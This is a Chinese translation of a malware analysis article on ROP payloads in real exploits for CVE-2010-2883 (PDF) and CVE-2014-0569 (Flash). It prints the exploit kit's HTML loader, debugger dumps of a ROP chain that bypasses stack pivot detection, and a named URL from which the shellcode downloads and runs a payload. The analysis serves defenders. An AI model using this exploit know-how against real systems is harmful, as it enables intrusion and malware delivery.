<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/4077

            0x00 簡介


            Exploit-db上看到的感覺還不錯,所以就翻譯一下,原文題目為《Deep Dive into ROP Payload Analysis》,作者Sudeep Singh。

            這篇文章的主要目的是介紹漏洞利用中的ROP載荷的分析技術,同時也深入分析一種ROP緩解技術stack pivot檢測技術,該技術目前被用于防護軟件中。

            通過分析之前發現的兩個攻擊樣本(CVE-2010-2883 和CVE-2014-0569),對比了兩個ROP載荷的復雜性和繞過stack pivot檢測技術的能力對ROP載荷的詳細分析將有助于我們更好的了解漏洞利用技術,開發出更有效的檢測機制。

            這篇文章主要針對漏洞分析人員以及對面向返回的編程(Return Oriented Programming)感興趣的人。

            0x01 場景


            漏洞利用正變成越來越流行的領域,同時在類似瀏覽器、Adobe Reader、Flash Player、Microsoft Silverlight 、Java等通用軟件中也經常發現漏洞。由于漏洞利用通常是攻擊中的第一個階段,因此比較適宜在漏洞利用階段對攻擊做防護。

            在互聯網上可以找到有很多用于檢測和阻止漏洞利用的方案和技術。這些檢測機制通常聚焦于大多數漏洞的共同特點。例如:

            1. ROP:由于現在的操作系統都默認開啟了DEP,因此漏洞利用需要繞過DEP保護。ROP是繞過DEP最常用的技術。然而,由于ROP的工作方式,因此可以有很多的特征可以檢測它。我們將下文中深入分析其中的stack pivot檢測技術。

            2. Heap Spray:為了獲取穩定的利用,大多數漏洞利用將載荷噴射到進程的地址空間中。當漏洞被觸發時,執行流被重定向到噴射在進程堆中的載荷導致漏洞被利用。然而,由于Heap Spray技術的廣泛應用,也再一次提供用于檢測它們的特征。

            最常見的特征是用Heap Spray的模式,0x0c0c0c0c是最為大家所熟知的。當然也有一些其他的模式也能夠用于Heap Spray。

            0x02 利用緩解


            這篇文章中,我們主要關注ROP載荷分析,因此將主要討論stack pivot檢測技術。

            據對多數漏洞利用主要分為下面幾個階段:

            1. 攻擊者將載荷(Nopsled + ROP payload + shellcode)噴射到堆上
            2. 觸發軟件的漏洞
            3. 通過漏洞,攻擊者控制了一些寄存器
            4. 這些寄存器被設置指向stack pivot gadget
            5. stack pivot gadget將切換原始程序的堆棧為指向攻擊者控制的堆中的數據,而新的堆棧中則包含我們的ROP載荷。
            6. stack pivot gadget中的返回指令將開啟ROP鏈的執行。

            作為例子,通過一個UAF(Use After Free)漏洞的結果,我們將得到如下的場景:

            movedx, dwordptr ds:[ecx]  ; edx為包含漏洞的C++對象的虛表指針
            pushecx
            call dwordptr ds:[edx+0x10]  ; 調用攻擊者控制的虛表中的虛函數
            

            因為我們控制了上述的程序執行流,所以我們能夠將控制流重定向到下面的stack pivot gadget:

            xchgeax, esp retn

            當漏洞被觸發時,如果eax正指向攻擊者控制的堆中的數據,通過上面的代碼片段,eax指向的堆空間將變成新的棧。

            ROP是非常好的技術,被廣泛的用在現在漏洞攻擊中。這也導致了很多針對這種利用技術的檢測機制被設計出來。

            其中一種技術就是stack pivot檢測技術。

            當ROP鏈執行時,攻擊者的最終目標是將shellcode重新放置在可執行的內存區域以繞過DEP保護。為了做到這一點,攻擊者將調用一些類似VirtualAlloc的API函數。這些被攻擊者用于繞過DEP的API是有限的。

            由于原始程序的堆棧被切換為指向攻擊者控制的數據,因此棧指針不再指向棧限以內。

            程序棧限的信息被存儲在TEB中。

            1:020> !teb
            TEB at 7ffda000
            ExceptionList: 0220f908
            StackBase: 02210000
            StackLimit: 02201000
            

            如果棧指針不滿足下面的條件,我們認為這是一個stack pivot:

            if(esp>StackLimit&&esp<StackBase)

            為了更好的理解這一點,我們看一個PDF的漏洞利用,CVE-2010-2883。

            0x03 ROP鏈分析


            這篇文章中,我將介紹ROP鏈的分析。請注意,我們并不是分析漏洞的根本原因。我們主要是深入理解ROP載荷是如何工作的。

            我將討論兩個例子。其中一個例子中,ROP載荷可以被stack pivot檢測所檢測到,而另一個則可以繞過該檢測。

            我們可以通過下面兩種方式分析ROP:

            1. 動態分析:可以通過兩種方式進行

              a)已知的ROP Gadget:某些情況下,可以通過靜態分析找到ROP gadgets。例如,對于惡意的PDF文件,可以通過對進行Heap Spray的JavaScript代碼去混淆來定位ROP gadgets。

              b)未知的ROP Gadget:某些情況下,在漏洞利用代碼中定位ROP gadgets并不容易。這有可能是因為高強度混淆的代碼或者ROP gadgets將在漏洞利用過程中動態構建。

              第二種情況下,ROP gadgets在執行過程中構建,因此我們需要采用其他技術來調試。

            2. 靜態分析:當能夠找到ROP gadgets時,可以采用該技術 要分析ROP載荷,我們需要根據ROP gadgets找到匯編語言代碼。這可以通過在適當的模塊地址空間中手工查找每一個ROP gadgets來完成。但是這樣比較麻煩。為了使這一過程更加高效,我寫了一個C代碼,它將自動的從模塊的地址空間中抽取ROP gadgets對應的字節碼,可以在附錄一中找到這段代碼。

            當你把去混淆過的JavaScript中的shellcode寫入一個文件后,你需要通過IDA來反匯編或者通過一個十六進制編輯器來觀察shellcode。通過這種方式,你可以確定這段shellcode是一段常規的shellcode還是ROP shellcode。

            作為例子,來看一個惡意的pdf文件,他的MD5值為975d4c98a7ff531c26ab255447127ebb,他利用CVE-2010-2883的漏洞進行攻擊。

            在轉儲shellcode到文件中以后,通過十六進制編輯器打開文件,可以看到它不是一個常規的shellcode。我已經標示出了其中一些ROP gadgets:

            enter image description here

            通常情況下,所有的ROP gadgets將從同一個未被基址隨機化的模塊中選取。這種情況下,可以看到所有的gadgets都來自一個模塊,它的基址是0x07000000。通過Windbg打開Adobe Reader,可以看到BIB.dll模塊占用了0x07000000的地址。

            enter image description here

            因此,在這個例子中所有的ROP gadgets都是從這個模塊中選擇的。

            通過我的代碼,根據每一個ROP gadget來檢查該模塊的地址空間,查找相應的字節碼,并記錄到另一個文件中。

            我的代碼將區分ROP gadgets和ROP gadgets的參數。現在通過IDA加載這個文件,標記適當的節為代碼和數據。

            enter image description here

            現在我們就能更高效的分析ROP shellcode了。 某些情況下,我們需要單步跟蹤ROP shellcode來更好的理解他。這種情況下,我們就需要調試ROP shellcode,可以通過在ROP鏈的第一個ROP gadget上設置斷點來調試。

            作為例子,我將采用之前的惡意PDF樣本,該樣本可以在Adobe Reader大于等于9.0并且小于等于9.4.0的版本中利用。

            這個惡意的PDF包含多條ROP載荷,將根據Adobe Reader的版本來選取ROP載荷。我們現在就來看采用了icucnv36.dll中的ROP gadgets的ROP shellcode。

            我們通過windbg打開Adobe Reader,可以按g來運行Adobe Reader,觀察它加載了更多的模塊。

            特別主要注意的是,這里icucnv36.dll還沒有被Adobe Reader加載。如果我在第一個ROP gadget上設置斷點,將不允許這樣做并顯示如下信息:

            enter image description here

            這是因為我們正在嘗試在一個還沒有加載的dll地址空間中設置斷點。

            通過如下命令,當模塊加載時,將自動中斷到調試器:

            sxe ld icucnv36.dll

            現在,運行Adobe Reader進程,打開惡意的PDF文件,很快icucnv36.dll被加載,同時自動中斷到調試器。

            enter image description here

            現在就能夠成功的在第一個ROP gadget上設置斷點。

            enter image description here

            現在執行進程,很快第一個ROP gadget被執行了,中斷到了調試器。當我們觀察寄存器的內容,可以看到esp指向了0x0c0c0c10。

            enter image description here

            通過stack pivot gadget攻擊者能夠成功的切換堆棧。

            如果觀察地址空間中的內容,在0x0c0c0c0c處可以看到整個ROP shellcode。

            enter image description here

            這樣就能夠調試ROP shellcode,在調試器中進行單步跟蹤。

            讓我們看看這個惡意PDF文檔如何因為stack pivot被檢測到。如果我們進一步追蹤ROP鏈,我們注意到它通過0x4a80b692處的ROP gadget調用了API函數CreateFileA。

            enter image description here

            現在我們在API函數CreateFileA()上。

            如果檢查TEB中的StackBase和StackLimit的值,可以看到esp在這個范圍以外。如果安全軟件在CreateFileA()上設置了API鉤子,這個漏洞利用將在stack pivot階段被很容易的檢測到。

            enter image description here

            0x04 Stack Pivot 檢測繞過


            我們現在來看最近剛發現的利用CVE-2014-0569漏洞的樣本,它使用了可以繞過stack pivot檢測的ROP載荷。這種ROP載荷之前并沒有看到過。之前它只是一種概念性的證明,而現在已經被用于實際的漏洞利用中。

            我在下面的地址處找到了該漏洞樣本完整的網絡流量的PCAP文件:

            http://malware-traffic-analysis.net/2014/10/30/index2.html

            正如下圖看到的,該漏洞利用工具部署在kethanlingtoro.eu處。

            enter image description here

            下面的HTML代碼用于在瀏覽器中加載惡意swf文件,觸發在Adobe Flash Player插件中的漏洞。

            #!html
            <html>
            <body>
            <objectclassid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"width="10"height="10"/><paramname="movie"value="Main.swf"/>
            <paramname="allowFullScreen"value="false"/>
            <paramname="allowScriptAccess"value="always"/>
            <paramname="FlashVars" value="exec=3558584f737a7a6c415835233d57263d31585548553941347a6e42644c4c365a6b646a6b4c507a57557257236b394f354f"/>
            <paramname="Play"value="true"/>
            <embedtype="application/x-shockwaveflash"width="10"height="10"src="Main.swf" allowScriptAccess="always" FlashVars="exec=3558584f737a7a6c415835233d57263d31585548553941347a6e42644c4c365a6b646a6b4c507a57557257236b394f354f" Play="true" allowFullScreen="false"/>
            </object>
            </body>
            </html>
            

            請注意上面傳遞給Flash加載器的參數是采用FlashVars。這對與漏洞利用是需要的,如果沒有它,惡意的swf文件將導致奔潰。

            在這個例子中,惡意的swf文件被高度的混淆,如下圖所示,常用的Flash Decompilers也不能成功的反編譯這些代碼。因此通過靜態分析來定位ROP gadgets并不容易。

            enter image description here

            通過查看反匯編后的Flash代碼,可以看到在漏洞利用函數中它使用了一個Sound對象,同時調用了它的toString()方法。采用Sound對象進行漏洞利用的技術在當前很流行。通過該漏洞,Sound對象的虛函數表將被重寫,而這將最終導致攻擊者控制程序的執行流。

            Sound對象:

            enter image description here

            Sound對象的toString()方法被調用:

            enter image description here

            下面來看如何通過調試器來分析這個ROP載荷。

            環境信息:

            操作系統:Win 7 SP1 32-bit

            Flash Player 版本:15.0.0.167

            因為我們知道Sound對象的虛函數表將被攻擊者控制,所以可以在調用Sound對象調用toString()方法的地方設置斷點來調試這個ROP載荷。

            將windbg附加到Internet Explorer上。在加載惡意的web頁面到瀏覽器之前,我們可以在從C:\Windows\system32\Macromed\Flash\ 加載Flash32_15_0_0_167.ocx時設置模塊加載斷點。

            sxe ld Flash32_15_0_0_167.ocx

            現在我們加載web頁面,這將中斷到調試器。

            由于該模塊開啟了基址隨機化,因此調用toString()方法的地址每次都會變動。我們首先找到這個地址:

            1:021> u Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185
            Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185:
            5eef8945 ffd2       call edx
            5eef8947 5e         pop esi
            5eef8948 c20400 ret 4
            

            我們在0x5eef8945處設置斷點。

            我們運行該漏洞利用,它將中斷到上述地址,如下:

            1:021> g
            Breakpoint 0 hit
            eax=070ab000 ebx=0202edf0 ecx=06a92020 edx=5e8805bb esi=0697c020 
            edi=0697c020
            eip=5eef8945 esp=0202ed38 ebp=0202ed60 iopl=0   nv up ei pl nz na po nc
            cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
            Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185:
            5eef8945 ffd2 call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)}
            

            如果我們查看該指令之前的反匯編代碼,我們將看到在漏洞利用中,完整的Sound對象的虛函數表都被改寫了,如下圖:

            enter image description here

            5eef8940 8b01   mov eax,dword ptr [ecx]
            5eef8942 8b5070     mov edx,dword ptr [eax+70h]
            5eef8945 ffd2       call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)}
            ecx = Sound Object
            eax = VTable of the Sound Object
            [eax+0x70] = address of toString() method
            

            同時我們可以看到,在虛函數表中所有的虛函數都被重寫為0x5e861193 (retn指令)。toString()方法的虛函數指針已經被改寫為0x5e8805bb。

            1:021> dd eax
            081ab000 5e861193 5e861193 5e861193 5e861193
            081ab010 5e861193 5e861193 5e861193 5e861193
            081ab020 5e861193 5e861193 5e861193 5e861193
            081ab030 5e861193 5e861193 5e861193 5e861193
            081ab040 5e861193 5e861193 5e861193 5e861193
            081ab050 5e861193 5e861193 5e861193 5e861193
            081ab060 5e861193 5e861193 5e861193 5e861192
            081ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478
            

            我們查看一下0x5e8805bb處的反匯編代碼:

            1:021> u 5e8805bb
            Flash32_15_0_0_167+0x205bb:
            5e8805bb 94     xchg eax,esp
            5e8805bc c3     ret
            

            enter image description here

            這就是stack pivot gadget,這意味著攻擊者控制著eax的值以及它指向的數據。讓我們查看一下:

            1:021> dd eax
            070ab000 5e861193 5e861193 5e861193 5e861193
            070ab010 5e861193 5e861193 5e861193 5e861193
            070ab020 5e861193 5e861193 5e861193 5e861193
            070ab030 5e861193 5e861193 5e861193 5e861193
            070ab040 5e861193 5e861193 5e861193 5e861193
            070ab050 5e861193 5e861193 5e861193 5e861193
            070ab060 5e861193 5e861193 5e861193 5e861192
            070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478
            

            enter image description here

            在我們的ROP載荷中,所有的gadgets都來自于Flash32_15_0_0_167.ocx這個模塊。

            同時,需要注意的是stack pivot后,原始的esp的值將存儲在eax中。

            在ROP鏈中可以看到很多的gadgets指向0x5e861193,正如下面所看到的的,他們都是返回指令。

            1:021> u 5e861193
            Flash32_15_0_0_167+0x1193:
            5e861193 c3  ret
            

            上面一系列返回指令執行之后,我們可以看到

            1:021> u eip
            Flash32_15_0_0_167+0x1192:
            5e861192 59  pop ecx
            5e861193 c3  ret
            

            enter image description here

            這個ROP gadget將ecx的值設置為0x5e8805bb

            1:021> dd esp
            070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478
            070ab080 5e8c1478 5e861192 5e8e2e45 5e89a4ca
            

            接下來的ROP gadget出現了四次。

            1:021> u eip
            Flash32_15_0_0_167+0x61478:
            5e8c1478 48     dec eax
            5e8c1479 c3     ret
            

            enter image description here

            正如我們之前提到的,在stack pivot執行前的原始esp的值已經被存儲在了eax中。因此,eax減小四次,就是在原始棧上開辟出一個四字節。

            1:021> u eip
            Flash32_15_0_0_167+0x1192:
            5e861192 59     pop ecx
            5e861193 c3 ret
            

            在當前棧上包含下面的數據:

            1:021> dd esp
            070ab088 5e8e2e45 5e89a4ca 41414141 5e8c1478
            070ab098 5e8c1478 5e8c1478 5e8c1478 5e861192
            

            通過上面的ROP gadget,ecx的值被設置為0x5e8e2e45,然后

            1:021> u eip
            Flash32_15_0_0_167+0x3a4ca:
            5e89a4ca 8908   mov  dword ptr [eax],ecx
            5e89a4cc 5d         pop ebp
            5e89a4cd c3         ret
            

            這將存儲ecx的值在原始堆棧上(esp-4處)

            enter image description here

            下一個ROP gadget將0x41414141彈出到ebp中,這只是為了填充用。因為我們的ROP gadget在返回之前包含了一條pop ebp指令。 上面這些ROP gadgets將被多次執行。我們可以總結如下:

            Gadget 1:
            dec eax;
            retn
            

            這個ROP gadget執行四次可以再原始堆棧上開辟1個DWORD。

            Gadget 2:
            pop ecx;
            retn
            

            設置ecx寄存器的值。

            Gadget 3:
            mov dword ptr [eax], ecx;
            pop ebp;
            retn
            

            將ecx的值移入原始堆棧中。

            也就是說,ROP載荷通過攻擊者的緩沖區中的數據來精心設置原始堆棧中的數據。

            繼續跟蹤ROP載荷,最終發現stack pivot將再次被執行。

            如果現在查看原始堆棧,可以看到堆棧被精心布置,stack pivot將重定向控制流到kernel32!VirtualAllocStub()。

            enter image description here

            在堆棧上精心布置的VirtualAlloc的參數如下:

            enter image description here

            這意味著,ROP載荷將分配具有PAGE_EXECUTE_READWRITE (0x40) 和 MEM_COMMIT (0x1000)屬性的0x1000字節的內存空間。

            我們查看一下TEB中的StackBase和StackLimit的值。

            如下所示,棧指針在StackBase和StackLimit的范圍以內,因此stack pivot緩解措施將不能阻止該漏洞利用。

            enter image description here

            進一步分析,在調用VirtualAllocStub()的點,堆棧布局如下:

            1:020> dd esp
            0220ec50 5e861193 00000000 00001000 00001000
            0220ec60 00000040 5e861192 c30c4889 5e89a4ca
            0220ec70 41414141 5e861192 9090a5f3 5e8e2e45
            0220ec80 5e861192 c3084889 5e89a4ca 41414141
            0220ec90 5e861192 90909090 5e8e2e45 5e861192
            0220eca0 c3044889 5e89a4ca 41414141 5e861192
            0220ecb0 9090ee87 5e8e2e45 5e861192 10788d60
            0220ecc0 5e89a4ca 070514b8 5e861192 00000143
            

            在返回地址0x5e861193處設置斷點,新分配的內存地址0x1c100000存儲在eax中。 接下來的ROP載荷也很有趣:

            1:020> dd esp
            0220ec64 5e861192 c30c4889 5e89a4ca 41414141
            0220ec74 5e861192 9090a5f3 5e8e2e45 5e861192
            0220ec84 c3084889 5e89a4ca 41414141 5e861192
            0220ec94 90909090 5e8e2e45 5e861192 c3044889
            0220eca4 5e89a4ca 41414141 5e861192 9090ee87
            0220ecb4 5e8e2e45 5e861192 10788d60 5e89a4ca
            0220ecc4 070514b8 5e861192 00000143 5e8e2e45
            0220ecd4 5eef8947 068e2bf8 5eedecc1 06a50021
            

            我已經將其總結如下:

            pop ecx/retn ; set ecx to 0xc30c4889
            mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax)
            pop ecx/retn ; set ecx to 0x9090a5f3
            push eax/retn ; redirect execution to newly allocated memory
            mov dword ptr [eax+0xc], ecx/ retn ; mov ecx to newly allocated memory (screenshot 9)
            pop ecx/retn ; set ecx to 0xc3084889
            mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax)
            pop ecx/retn ; set ecx to 0x90909090
            push eax/retn ; redirect execution to newly allocated memory
            mov dword ptr [eax+0x8], ecx/retn ; move ecx to newly allocated memory (pointed by eax)
            pop ecx/retn ; set ecx to 0xc3044889
            mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax)
            pop ecx/retn ; set ecx to 0x9090ee87
            push eax/retn ; redirect execution to newly allocated memory
            mov dword ptr [eax+0x4], ecx/retn; move ecx to newly allocated memory (pointed by eax)
            pop ecx/retn ; set ecx to 0x10788d60
            mov dword ptr [eax], ecx/retn ;
            pop ecx/retn ; set ecx to 0x143
            push eax/retn ; now we are at the shellcode
            

            enter image description here

            這部分ROP載荷將從主shellcode中拷貝0x143個DWORD到新分配的內存空間中。

            enter image description here

            現在就是第二階段的shellcode了。

            enter image description here

            進一步對代碼進行跟蹤,將看到動態查找kernelbase.dll基址以及計算VirtualProtect函數地址。

            enter image description here

            這將修改0x01c10060處0x4b3字節大小內存區域的保護屬性。然后調用GetTempPathA 構建路徑C:\Users\n3on\AppData\Local\Temp\stuprt.exe。

            enter image description here

            通過LoadLibraryA加載wininet.dll庫。

            enter image description here

            然后可以看到通過調用InternetOpenUrlA從http://kethanlingtoro.eu/xs3884y132186/lofla1.php下載載荷。

            我們可以確定這和PCAP文件中是相同的URL,如下所示:

            enter image description here

            載荷將被存儲在C:\Users\n3on\AppData\Local\Temp\stuprt.exe,并被執行。

            通過這種方式,我們能夠通過調試器分析ROP載荷以及shellcode。

            下面來看另一種分析這種載荷的方法。

            我們知道一旦中斷到Sound對象調用toString()方法的call指令上,它將重定向控制流到stack pivot gadget。這種情況下,攻擊者可以控制eax的值以及這個位置上的數據。

            我們可以從內存中轉儲ROP載荷和shellcode到文件中。正如下面看到的,可以使用writemem命令從內存中轉儲大約0x1500字節的shellcode到rop.txt文件中。

            enter image description here

            接下來,寫一個C程序,打印rop.txt中的DWORD列表。

            在轉儲ROP載荷的同時,保存Flash32_15_0_0_167.ocx的基址也很重要(因為由于基址隨機化的開啟,我們需要基地址來計算ROP gadgets的相對虛擬地址)。

            通過之前寫的C代碼,可以根據rop.txt中的ROP gadgets找到所有的字節碼。

            完整的繞過stack pivot檢測的ROP鏈在附錄2中。

            0x05 Heap Spray 模式


            由于ROP是和Heap Spray技術一起使用的,因此討論一下這兩個漏洞利用中的heap spray模式的不同。在第一個例子中,當我們在調試器中,中斷到惡意PDF的第一個ROP gadget時,我們進行一下堆分析。

            CVE-2010-2883 (惡意 PDF)

            !heap -stat

            enter image description here

            可以看到在00390000處分配的堆空間具有最大的提交字節。讓我們進行進一步的分析:

            0:000> !heap -stat -h 00390000

            enter image description here

            正如所看到的,它包含了0x1f0個大小為0xfefc字節大小的塊。這是一種非常固定的分配模式,也是一張很好地識別heap spray的標記。 進一步枚舉所有大小為0xfefc字節的堆塊

            0:000> !heap -flt s fefec
            _HEAP @ 150000
            _HEAP @ 250000
            _HEAP @ 260000 
            _HEAP @ 360000
            _HEAP @ 390000
            HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
            invalid allocation size, possible heap corruption
            039c0018 1fdfd 0000 [0b]  039c0020  fefec - (busy VirtualAlloc)
            

            如果轉儲處0x039c0020處的內存,可以看到NOP模式:

            0:000> dd 039c0020
            039c0020 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
            039c0030 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
            039c0040 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
            039c0050 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
            039c0060 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
            039c0070 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
            039c0080 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
            039c0090 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
            

            這種模式是安全軟件識別heap spray的一個好的標志,例如EMET檢測heap spray。

            CVE-2014-0569 (惡意 SWF)

            如果檢查第二個例子中的堆塊分配,將發現沒有任何固定的模式。

            當中斷到stack pivot gadget時,進行堆分析:

            0:000> !heap -stat
            _HEAP 00900000
            Segments 00000001
            Reserved bytes     00100000
            Committed bytes   00100000
            VirtAllocBlocks    00000000
            VirtAlloc bytes   00000000
            _HEAP 00150000
            Segments 00000001
            Reserved bytes     00100000
            Committed bytes   00082000
            VirtAllocBlocks    00000000
            VirtAlloc bytes   00000000
            

            上面的兩塊包含了最大數量的提交字節。

            對于0x00900000處的堆

            0:000> !heap -stat -h 00900000
            heap @ 00900000
            group-by: TOTSIZE max-display: 20
            size #blocks total ( %) (percent of total busy bytes)
            

            windbg沒有給出該堆的統計信息。檢查另一個堆。

            0:000> !heap -stat -h 00150000
            heap @ 00150000
            group-by: TOTSIZE max-display: 20
            size #blocks total ( %) (percent of total busy bytes)
            8000 1 - 8000 (7.52)
            20 31d - 63a0 (5.85)
            57f0 1 - 57f0 (5.17)
            4ffc 1 - 4ffc (4.70)
            614 c - 48f0 (4.28)
            3980 1 - 3980 (3.38)
            388 10 - 3880 (3.32)
            2a4 13 - 322c (2.95)
            800 6 - 3000 (2.82)
            580 8 - 2c00 (2.58)
            

            enter image description here

            這里并沒有看到固定的模式,也就是說在第二個漏洞利用中,類似EMET的安全軟件對于heap spray的檢測方法將無法工作。

            因為在第二個漏洞利用中,在內存空間中噴射了AS3 Flash Vector對象,可以查看這些對象:

            03f4d000 000003fe 03162000 0beedead 0000027f ..... .......... 03f4f000 000003fe 03162000 0beedead 00000280 ..... .......... 03f51000 000003fe 03162000 0beedead 00000281 ..... .......... 03f53000 000003fe 03162000 0beedead 00000282 ..... .......... 03f55000 000003fe 03162000 0beedead 00000283 ..... .......... 03f57000 000003fe 03162000 0beedead 00000284 ..... .......... 03f59000 000003fe 03162000 0beedead 00000285 ..... .......... 03f5b000 000003fe 03162000 0beedead 00000286 ..... .......... 03f5d000 000003fe 03162000 0beedead 00000287 ..... ..........

            其中0x3fe是Vector對象的長度。

            大多數最近的漏洞利用的流程如下:

            1. 惡意SWF文件通過使用ActionScript代碼噴射Flash Vector對象

            2. 觸發漏洞,這將允許修改內存地址空間中的值。

            在CVE-2014-0322中, 可以得到一個UAF崩潰,在inc dword ptr ds:[eax+0x10]處。

            如果攻擊者可以將eax+0x10指向噴射的Flash Vector對象的長度域,就能增加這個長度。

            1. 通過增加Vector對象的長度,就能夠增加一個新的元素到Vector對象數組中。由于邊界檢查是在ActionScript代碼中完成的,因此新的加入Vector對象中元素將改寫內存中下一個Vector對象的長度。因此,這個漏洞利用將設置長度為一個大的值來獲取程序地址空間任意位置訪問的能力。

            在所有這些漏洞利用中,控制流程都有一些共同的屬性:

            1. Vector對象的長度被設置為0x3fe。

            2. 由于Flash AS3 Vector對象在內存中的分配方式,他們按照0x1000字節邊界對齊。

            3. 都通過破壞Sound對象的虛函數表,然后調用toString()方法來獲取程序控制流。

            基于此,檢測這種Vector對象的噴射是很重要的。

            0x06 結論


            可以看到由于新的漏洞利用檢測技術被安全軟件所使用,漏洞利用的過程也變得更加復雜。顯然用于攻擊的漏洞利用也注意到了這些檢測技術并嘗試繞過他們。通過閱讀這篇文章,你將能夠深入的分析漏洞利用中的ROP載荷。

            0x07 附錄


            這里有兩個附錄的文件用來參考

            附錄

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线